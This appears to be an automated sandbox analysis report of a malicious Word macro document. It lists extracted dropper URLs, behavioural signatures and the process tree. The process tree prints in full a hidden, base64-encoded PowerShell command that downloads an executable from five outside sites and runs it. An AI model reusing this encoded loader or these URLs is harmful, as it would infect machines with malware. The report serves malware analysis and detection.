Analysis
- max time kernel
53s - max time network
57s - platform
windows10-2004_x64 - resource
win10v2004-20240226-en - resource tags
- submitted
02/04/2024, 05:37
General
- Target VirusShare_2fe5b00079aec2d8369a798230313ec8.doc
- Size 125KB
- Sample240402-ga4x8aac96
- SHA256 8eb6805a0852b220695175ce81a5b139f1438dc06ea3fc1347b047702880374c
Malware Config
Extracted
-
ps1
-
exe.dropper
https://sandiegohomevalues.com/engl/4de-kzsyhu-768611/
-
exe.dropper
https://www.wenkawang.com/data/bofze0s-7ji4-15/
-
exe.dropper
https://www.bruidsfotograaf-utrecht.com/wp-includes/QLvFLy/
-
exe.dropper
http://ma.jopedu.com/img/8z8dl-3xn-655019278/
-
exe.dropper
http://pay.jopedu.com/ThinkPHP/l9okcguh6-b9nnrh7-96245524/
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blocklisted process makes network request 4 IoCs
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of FindShellTrayWindow 2 IoCs
- Suspicious use of SetWindowsHookEx 8 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\VirusShare_2fe5b00079aec2d8369a798230313ec8.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exePowershell -w hidden -en JABKAGIAagBkAG0AcgBrAGYAPQAnAFcAdgB4AG8AagBqAHgAeQAnADsAJABLAHEAegB2AHEAagBjAGQAYgBkAGsAIAA9ACAAJwAzADAANgAnADsAJABHAHgAZAB1AG8AYwBkAGoAYwBqAHQAPQAnAEIAawBmAGsAYgBvAGYAaQBwAHAAYwB6AHQAJwA7ACQATQBiAGsAbQBvAG8AbgBnAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABLAHEAegB2AHEAagBjAGQAYgBkAGsAKwAnAC4AZQB4AGUAJwA7ACQAVQBlAGYAYwB6AHAAYwBkAGYAaQB4AG8APQAnAFIAcQBkAGsAegBtAHkAZABtAHcAdAB3AGYAJwA7ACQASQB5AGIAbgBwAHkAdABmAGEAcABtAD0AJgAoACcAbgBlAHcAJwArACcALQBvAGIAJwArACcAagBlAGMAJwArACcAdAAnACkAIABuAGUAVAAuAHcAZQBiAGMATABJAEUAbgB0ADsAJABEAHEAcwB5AG4AYQBoAHkAeQB2AHgAbAA9ACcAaAB0AHQAcABzADoALwAvAHMAYQBuAGQAaQBlAGcAbwBoAG8AbQBlAHYAYQBsAHUAZQBzAC4AYwBvAG0ALwBlAG4AZwBsAC8ANABkAGUALQBrAHoAcwB5AGgAdQAtADcANgA4ADYAMQAxAC8AKgBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgB3AGUAbgBrAGEAdwBhAG4AZwAuAGMAbwBtAC8AZABhAHQAYQAvAGIAbwBmAHoAZQAwAHMALQA3AGoAaQA0AC0AMQA1AC8AKgBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBiAHIAdQBpAGQAcwBmAG8AdABvAGcAcgBhAGEAZgAtAHUAdAByAGUAYwBoAHQALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAFEATAB2AEYATAB5AC8AKgBoAHQAdABwADoALwAvAG0AYQAuAGoAbwBwAGUAZAB1AC4AYwBvAG0ALwBpAG0AZwAvADgAegA4AGQAbAAtADMAeABuAC0ANgA1ADUAMAAxADkAMgA3ADgALwAqAGgAdAB0AHAAOgAvAC8AcABhAHkALgBqAG8AcABlAGQAdQAuAGMAbwBtAC8AVABoAGkAbgBrAFAASABQAC8AbAA5AG8AawBjAGcAdQBoADYALQBiADkAbgBuAHIAaAA3AC0AOQA2ADIANAA1ADUAMgA0AC8AJwAuACIAUwBgAFAATABJAFQAIgAoACcAKgAnACkAOwAkAEEAdgB2AGgAawBvAHkAZQByAD0AJwBaAGcAegBiAGQAegB5AG0AeQAnADsAZgBvAHIAZQBhAGMAaAAoACQAUgBjAHIAbgBkAHEAZgBtAGYAbQBlACAAaQBuACAAJABEAHEAcwB5AG4AYQBoAHkAeQB2AHgAbAApAHsAdAByAHkAewAkAEkAeQBiAG4AcAB5AHQAZgBhAHAAbQAuACIAZABPAGAAVwBuAGwAbwBhAEQAZgBgAEkAbABlACIAKAAkAFIAYwByAG4AZABxAGYAbQBmAG0AZQAsACAAJABNAGIAawBtAG8AbwBuAGcAKQA7ACQAUAB0AGkAdQBxAHIAaQBqAGQAawBsAHYAZQA9ACcASAB3AGgAcwBtAGwAegBzACcAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQALQBJAHQAZQBtACcAKQAgACQATQBiAGsAbQBvAG8AbgBnACkALgAiAEwAZQBuAGAAZwBUAGgAIgAgAC0AZwBlACAAMwAwADMAMAA5ACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAHMAYABUAGEAcgBUACIAKAAkAE0AYgBrAG0AbwBvAG4AZwApADsAJABMAHMAdAB4AHMAcwBpAGEAPQAnAFkAcAB5AGgAdgBoAGgAdwAnADsAYgByAGUAYQBrADsAJABWAG4AYQBzAGIAZgBmAG0AbwBxAD0AJwBDAG0AZwBxAHAAZwBzAHMAbgBkAGkAYgAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABJAGwAcgBlAHIAdgB6AGgAaQA9ACcAQgB2AG4AbQB2AG0AcABhAGQAbgBsAGIAJwA=1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
306.exe
FD741BD0.wmf
__PSScriptPolicyTest_0sj5dvug.pfk.ps1
memory/1124-100-0x00007FF9E31F0000-0x00007FF9E3CB1000-memory.dmp
memory/1124-68-0x000002B3BBF40000-0x000002B3BBF50000-memory.dmp
memory/1124-67-0x000002B3BBF40000-0x000002B3BBF50000-memory.dmp
memory/1124-57-0x00007FF9E31F0000-0x00007FF9E3CB1000-memory.dmp
memory/1124-56-0x000002B3A3C60000-0x000002B3A3C82000-memory.dmp
memory/2984-11-0x00007FFA12B70000-0x00007FFA12D65000-memory.dmp
memory/2984-50-0x00000245A1CE0000-0x00000245A2CB0000-memory.dmp
memory/2984-1-0x00007FF9D2BF0000-0x00007FF9D2C00000-memory.dmp
memory/2984-10-0x00007FF9D0440000-0x00007FF9D0450000-memory.dmp
memory/2984-12-0x00007FFA12B70000-0x00007FFA12D65000-memory.dmp
memory/2984-13-0x00007FFA12B70000-0x00007FFA12D65000-memory.dmp
memory/2984-15-0x00007FFA12B70000-0x00007FFA12D65000-memory.dmp
memory/2984-14-0x00007FF9D0440000-0x00007FF9D0450000-memory.dmp
memory/2984-16-0x00007FFA12B70000-0x00007FFA12D65000-memory.dmp
memory/2984-18-0x00007FFA12B70000-0x00007FFA12D65000-memory.dmp
memory/2984-17-0x00007FFA12B70000-0x00007FFA12D65000-memory.dmp
memory/2984-19-0x00007FFA12B70000-0x00007FFA12D65000-memory.dmp
memory/2984-20-0x00007FFA12B70000-0x00007FFA12D65000-memory.dmp
memory/2984-21-0x00007FFA12B70000-0x00007FFA12D65000-memory.dmp
memory/2984-27-0x00000245A2D30000-0x00000245A2F30000-memory.dmp
memory/2984-8-0x00007FFA12B70000-0x00007FFA12D65000-memory.dmp
memory/2984-36-0x00000245A1CE0000-0x00000245A2CB0000-memory.dmp
memory/2984-9-0x00007FFA12B70000-0x00007FFA12D65000-memory.dmp
memory/2984-52-0x00000245A1CE0000-0x00000245A2CB0000-memory.dmp
memory/2984-53-0x00000245A1CE0000-0x00000245A2CB0000-memory.dmp
memory/2984-7-0x00007FFA12B70000-0x00007FFA12D65000-memory.dmp
memory/2984-3-0x00007FF9D2BF0000-0x00007FF9D2C00000-memory.dmp
memory/2984-6-0x00007FFA12B70000-0x00007FFA12D65000-memory.dmp
memory/2984-5-0x00007FF9D2BF0000-0x00007FF9D2C00000-memory.dmp
memory/2984-4-0x00007FFA12B70000-0x00007FFA12D65000-memory.dmp
memory/2984-0-0x00007FF9D2BF0000-0x00007FF9D2C00000-memory.dmp
memory/2984-2-0x00007FF9D2BF0000-0x00007FF9D2C00000-memory.dmp
memory/2984-109-0x00007FFA12B70000-0x00007FFA12D65000-memory.dmp
memory/2984-110-0x00000245A2D30000-0x00000245A2F30000-memory.dmp
memory/2984-111-0x00000245A1CE0000-0x00000245A2CB0000-memory.dmp
memory/2984-112-0x00000245A1CE0000-0x00000245A2CB0000-memory.dmp
memory/2984-113-0x00000245A1CE0000-0x00000245A2CB0000-memory.dmp
memory/2984-114-0x00000245A1CE0000-0x00000245A2CB0000-memory.dmp